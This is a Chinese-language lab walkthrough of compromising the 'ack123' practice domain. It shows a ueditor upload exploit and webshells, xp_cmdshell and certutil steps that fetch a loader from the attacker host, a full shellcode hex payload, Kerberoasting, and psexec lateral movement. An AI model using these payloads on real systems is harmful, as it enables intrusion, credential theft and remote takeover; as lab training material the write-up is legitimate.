渗透测试带防御的内网域(ack123靶场)
一、环境搭建
这个靶场来自暗月内网渗透,是在前几天网上冲浪的时候看到这篇文章 https://mp.weixin.qq.com/s/VB4elHdrHNCmPDP_ktcLRg,就下载靶场回来玩一下
靶场地址:https://pan.baidu.com/s/13g_1FFg-ZYYpBwkCvKyYWQ 提取码:7fkj
拓扑图是这样的,靶场渗透的最终目标是获取五台服务器的权限
靶机下载解压后是五个挂起的虚拟机,需要手动添加两个 vmnet 18、vmnet 19 两个网卡,设置如下
另外我登录靶机将 ip 地址都固定为拓扑图所示地址,把 12server-web1 中 C:\Hws.com\HwsHostMaster\wwwroot\www.ackmoon.com\web\HdhApp.config 的 ip 地址换成 12server-data1 的地址
在攻击机的 C:\Windows\System32\drivers\etc\hosts 文件绑定好 ip 和域名,本来靶场的 web 部分是要用 frp 映射到公网的,这里就降低难度直接在本地(192.168.59.1)打吧
二、外网打点
2.1 信息搜集
直接访问域名 www.ackmoon.com 开始实验,首页显示是网站是HDHCMS搭建的,搜索一下历史漏洞发现只有一个逻辑缺陷漏洞,还是上手看看网站吧,域名后加 admin 直接跳转到后台,尝试一下弱口令无法登录,再扫扫这台靶机的目录和端口
- 扫描端口:开放了 21、135、139、445、999 端口,windows server 2012 的服务器,999 端口是 phpmyadmin,尝试了弱口令、爆破无法登录
- 扫描目录:没发现除 admin 目录外的可利用点
后台有注册功能,先注册一个账号 beiwo/beiwo@123 登录上系统看看,看到后台显示了一些服务器、系统相关信息
2.2 ueditor1.4.3任意文件上传
ueditor1.4.3 有历史漏洞,直接在 url 拼接路径没找到 controller.ashx 文件,下载回源码全局搜一下,最终拼接路径如下,访问页面显示存在漏洞
http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage
构造一个恶意的 html 文件
<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST"> <p>shell addr: <input type="text" name="source[]" /></p > <input type="submit" value="Submit" /> </form>
在本地起一个 web 服务,制作一个免杀 aspx 马,命名为 test.jpg,下图 html 上传框内填写免杀马地址 http://192.168.59.1/test.jpg?.aspx
点击提交后得到路径,蚁剑添加地址 http://www.ackmoon.com/upfiles/image/20211210/6377476568176757142106228.aspx,成功连接木马
2.3 免杀上线cs(web1)
进行简单的主机信息搜集,有两个网卡,不在域内,数据库配置文件暂时没权限查看,准备上线 cs 后再提权
tasklist 看一下运行进程,使用 https://payloads.net/kill_software/ 在线分析主机运行着护卫神、360全家桶
然后免杀上线 cs
2.4 烂土豆提权(web1)
主机右键->Erebus->Local Privilege Escalation->Potatos(MS17-065)->Rotten-Potato,用 Erebus 插件的烂土豆模块提权成功
三、内网渗透
3.1 mssql上线cs、提权(data1)
下载数据库配置文件 C:\Hws.com\HwsHostMaster\wwwroot\www.ackmoon.com\web\HdhApp.config 发现是站库分离的目标,数据库是 mssql
- 数据库地址:192.168.22.133
- 用户名密码:sa/pass123@.com
用 cs 自带的 socks 代理,然后 proxifier 配置代理服务器、规则加入 navicat.exe,navicat 成功连接数据库后再新建查询,调用 xp_cmdshell 运行系统命令
EXEC master..xp_cmdshell 'ipconfig';
(注:xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中默认禁止,如果用户拥有管理员 sa 权限可以用 sp_configure 重新开启
#语句还没有实践,先记录一下 #启用xp_cmdshell EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; #关闭xp_cmdshell EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',0; RECONFIGURE; #恢复/删除xp_cmdshell EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'; EXEC sp_dropextendedproc 'xplog70.dll';
)
最初想用 certutil 远程下载加载器,但是一直不成功,去靶机上看一下发现是火绒拦截导致失败了
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.59.1/loader.exe C:\Windows\Temp\loader.exe';
解决方法来自这篇文章:记一次利用mssql上线
- 开启 sp_oacreate
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
- 利用 sp_oacreate 构造语句将 certutil.exe 复制到 C:\Windows\Temp\ 下,并重命名为 sethc.exe
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';
- certutil 工具远程下载 loader.exe
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://192.168.59.1/loader.exe" C:\Windows\Temp\loader.exe'
- xp_cmdshell 执行命令加载 shellcode
EXEC master..xp_cmdshell 'C:\Windows\Temp\loader.exe fc4883e4f0e8c8000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d0668178180b0275728b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94fffffff5d6a0049be77696e696e65740041564989e64c89f141ba4c772607ffd54831c94831d24d31c04d31c94150415041ba3a5679a7ffd5eb735a4889c141b8500000004d31c9415141516a03415141ba57899fc6ffd5eb595b4889c14831d24989d84d31c9526800024084525241baeb552e3bffd54889c64883c3506a0a5f4889f14889da49c7c0ffffffff4d31c9525241ba2d06187bffd585c00f859d01000048ffcf0f848c010000ebd3e9e4010000e8a2ffffff2f46793866002ddabc91e8945121d022d02f156a1503c5cd51ccef4de093690d8027d9ea23413e4bdafa614582509588d1d21a7c94b77396fcd533039d35ca438f1452cc83bff3426b0c87a8068f8200557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520372e303b2057696e646f7773204e5420362e30290d0a00b186b2f0542a9dbf956bd1751005d0feca8653a9271e2bd900979626bd13d739a06fe1af267361138b19297bce00622b18c4866f806b76657621a9e971f9bc1160f835c05378f61780b3d5cdd6cc7b24721032dd0c4704227c9610733286a1361a8092259f8b5f90b21383008758f8e83bfb55fa975657ab098d1985e7474895c661487a2c6f6572c50e8802d9714c3c5c4496fa334758f41777626f44d64f4b3f2876d9492dfcb80a3c2461e396f8e362f60de951a10298429a0006d84c8927f11ec9176a32be7473eb17d91755465bd929026caaf8c56aa54d1e158ad216d67668d2d08d68c731fdf5656cf3f30041bef0b5a256ffd54831c9ba0000400041b80010000041b94000000041ba58a453e5ffd5489353534889e74889f14889da41b8002000004989f941ba129689e2ffd54883c42085c074b6668b074801c385c075d758585848050000000050c3e89ffdffff3139322e3136382e35392e3132390012345678';
data1 成功上线 cs,接着用 Erebus 插件的烂土豆模块提权成功,然后用不到 web1,就先把它挂起吧,同时开五台实在太卡了
3.2 phpmyadmin后台getshell(web2)
然后前面主机信息搜集的时候发现有两个网卡,再来探索一下 192.168.22.0/24 网段吧,扫描端口找到 192.168.22.135 开了 80 端口,用 cs 自带的 socks 代理在本地浏览器访问一下
提示用户名和密码都是 demo,登录抓包发现 jwt
复制到 https://jwt.io/ 可以看到另一个 ip 地址(后续看并没有这个 ip 段)、当前用户 demo,但是缺少了密钥不可以伪造 jwt
jwtcrack 工具跑了好久没跑出来,又下了一个 jwt_tool 和字典 rockyou.txt 跑出密钥为 Qweasdzxc5,伪造 admin 用户登录系统
不知道是我操作哪里有问题一直没伪造成功,去看了看公开的 wp,发现考点是响应头这里的细节,疑似使用 phpstudy v8.1 搭建,该版本 phpmyadmin 的路径为 url/phpmyadmin4.8.5
Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
然后 phpmyadmin 后台密码是 root/Qweasdzxc5(这里逻辑我感觉不咋顺,但是实战当中啥都可能发生)
常规操作 phpmyadmin 后台 getshell
#开启日志 set global general_log='on'; #设置日志位置为网站目录 set global general_log_file='C:\\phpstudy_pro\\WWW\\shell.php';
#传个一句话 select '<?php @eval($_POST["apple"]); ?>';
蚁剑挂代理连 shell,简单的信息搜集发现这台服务器没有杀软,直接是 system 权限,有域并且域控地址是 10.10.10.135,域管是 Administrator,域名是 ack123.com
3.3 不出网主机上线cs(web2)
cs 创建监听器,payload 选 Beacon TCP,生成无状态木马并上传到 web2 运行,在跳板机会话中执行 connect 192.168.22.135 2333,web2 正向连接上线,但是会话不稳定总是上线又下线,又试了一下 goproxy 把流量代出来,这样就非常稳定了
proxy.exe 上传到 data1,先在这台出网主机上开启一个 8080 端口的 http 代理,然后再利用系统自带的 netsh 命令将这台主机 59 出网段的 http 代理 8080 端口转发至 22 不出网段的 8888 端口上,用于后期在 cs 监听时设置 http 代理,工具下载地址:https://github.com/snail007/goproxy/releases/tag/v11.3
proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon netsh interface portproxy add v4tov4 listenaddress=192.168.22.133 listenport=8888 connectaddress=192.168.59.135 connectport=8080
创建挂代理的监听器,HTTP Proxy 填写内网网段地址
然后生成木马,在 web2 运行后 cs 成功上线(电脑太卡啦,web1 被我挂起了所以会话没了)
拿到域内机器先 mimikatz、hashdump 抓一下密码,只有本地管理员的密码,本来想解密看看的,但是 cmd5 没充钱,其他网站没查到,先尝试一下其他思路
3.4 SPN扫描(web2)
查看 ack123.com 注册的SPN,发现存在SPN服务
setspn -T ack123.com -q */*
mimikatz 申请创建票据,票据为RC4加密,所以可以通过爆破的方式得到服务对应用户的密码
mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com
查看并导出票据
mimikatz kerberos::list #查看 mimikatz kerberos::list /export #导出
pwd 看一下当前路径,把票据下载回来
爆破域管密码为 P@55w0rd!,工具下载地址:https://github.com/nidem/kerberoast,这个密码我的常用字典里还真没有,去看了 wp 用这个 kali 的字典才爆出来
python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 2-40a10000-12server-web2\$@mysql~16server-dc1.ack123.com-ACK123.COM.kirbi
3.5 哈希传递(dc1)
有域管的账号密码了尝试 psexec 横向上线,新建一个 Payload 为 Beacon SMB 的监听,探测一下存活主机,然后存活主机右键->Jump->psexec64,填写之前获取到的凭据
域控成功上线!(data2 和 dc1 情况是一样的,同理可上线,内存不够啦相同的操作就不做第二次了 )
四、总结
通过这个靶机又学到了新东西,cs 的 pid 有前后不同的情况,是因为靶机没有一口气打完电脑重启了就重新起了会话,还有是之前上线的方式我觉得不够优美,学到新东西就又重新上线了一下,为了学习折腾啦
参考文章:
https://www.cnblogs.com/sup3rman/archive/2020/06/09/13071382.html
https://www.jianshu.com/p/9d5e8236647e
https://www.modb.pro/db/66128
https://xz.aliyun.com/t/9265
https://blog.csdn.net/weixin_43970718/article/details/121068969
https://my.oschina.net/xxxasec/blog/5176721